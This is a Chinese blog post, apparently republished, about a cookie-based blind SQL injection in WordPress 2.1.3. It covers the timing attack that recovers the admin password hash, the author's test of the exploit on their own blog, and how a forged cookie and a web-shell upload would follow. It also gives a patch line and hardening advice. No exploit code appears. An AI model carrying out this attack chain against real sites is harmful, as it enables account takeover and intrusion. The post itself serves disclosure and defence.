WordPress 2.1.3 SQL注入漏洞

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

2007年5月21日,也就是昨天,一个影响WordPress 2.1.3及更早版本的SQL注入漏洞被公布了出来。[via][via]

刚刚在网上看到相关说明,这次是因为没注意检查传入的Cookies而导致可以SQL注入的。(不过SQL注入基本上全是没注意检查传入的变量引起的吧)不过这次注入后执行的SQL语句的返回没有被输出,所以没有办法通过输出直接或间接地获取存放在数据库中的管理员密码。这次的攻击程序只能通过分析页面执行时间的长短来检测密码,这样导致检测时间比较长,而且设置的越长检测结果越精确。通过分析页面执行时间来获取数据库中的资料这种方式倒是很值得研究一下,再使用二分法来检测每一位字符最终获得全部32位字符的方法很好玩。

还好这个问题已经在WordPress 2.2里被修复了。(2007年5月11日的Changeset 5440)WordPress 2.2已经发布一个星期了,模板、插件等各方面兼容性也比较完善了。甚至于,K2模板因为WordPress 2.2的发布准备发布一个新版本(via 《K2 Still Alive》),不过至今一个礼拜过去了,还是没个影,可怜的K2 0.95 RC1还是一直飘在那儿。现在是时候更新到WordPress 2.2了,顺便可以消除这个漏洞。而坚守WordPress 2.1.3的XDJM们,则可以参考WordPress 2.2修改的部分,在wp-includes/pluggable.php的第122行(这是一个空行)加上一句 $user_login = $wpdb->escape($user_login);

尝试用攻击代码获取我自己Blog的密码。程序运行在DreamHost主机上,而我的Blog在盘古主机上,所以网络速度比较慢,再加上这个程序本身也很耗时间,最后耗时20分钟拿到了我的Blog密码,当然是MD5过的。对比存放在数据库里的密码,一个字都不差。这种感觉以前经历过一次,所以这次没那么震惊了,唉。如果是黑客拿到了这串密码,再MD5一次,然后伪造一个Cookies就可以登入WordPress后台了。

因为SQL注入可以执行任意的SQL语句,所以如果黑客恶意修改或破坏数据库也没什么办法。但是对于存放在数据库里的用户信息,倒是可以加强一下防范。用户ID可以修改一下,不过文章表和评论表都用到了用户ID,修改起来也比较麻烦。

而安装WordPress时可以修改默认的数据表前缀"wp_",然后再另做一个"wp_users"表,用于迷惑黑客,这样也很不错啊。不过已经装好的WordPress就没办法了,数据表前缀最好不要修改,记得它还被用在"wp_option"表中的某个地方。

另外还有用户名,WordPress不允许修改用户名,很多人是通过新建一个用户,然后把新用户设置为管理员,然后再删除原来的"admin"用户来解决这个问题的。另外,也可以直接修改数据库来修改用户名。因为伪造Cookies需要使用用户名,所以改掉用户名也可以起到防范的作用。

再有就是把WordPress本身以及各个模板和插件的文件的权限设置的低一点,使得在WordPress后台无法修改这些文件。因为黑客登录后台后会上传木马以获得web shell,WordPress本身做了一点限制,就是禁止后台的编辑器修改wp-config.php文件,再把通过设置权限来禁止后台的编辑器编辑各个PHP文件,上传木马就会比较困难了。

当然,最重要的还是做好数据库和文件的备份。还有就是少得罪人,少结点怨,嘿嘿。

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值